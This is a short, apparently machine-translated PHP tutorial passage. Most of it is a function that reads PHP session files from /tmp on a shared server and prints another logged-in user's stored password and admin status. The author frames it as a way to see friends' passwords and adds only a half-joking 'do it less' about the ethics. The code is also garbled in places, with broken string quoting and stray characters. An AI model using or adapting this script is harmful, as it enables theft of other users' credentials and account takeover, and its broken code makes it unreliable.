PHP function to view session content_PHP tutorial

For example: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1", we also know the location where the session is stored, and can upload files, so, at that time, After doing a little hack, I can see the passwords of my online friends at a glance, haha:
function submit1(){
global $username;
print "";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "You also Isn't it too dark? ";
return;
}
$path="/tmp/";
$d = dir($path);
while ($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name = explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":", $ary[1]);
$mode=explode(":",$ary[3]);
print "User pen name:".$name[2]."
Use password: ".$passwd[2]."
Usage mode:";
if($mode[1]==1)
print "adminelse
print "General users";
print"

Stealing other people’s passwords is unethical, please do it less
";
$ i=1;
break;
}}}}
if(!$i)
print "User: ".$username." Is it really online? If you are sure, Please do it again, no more spaces! ";
$d->close();
}

function login(){
?>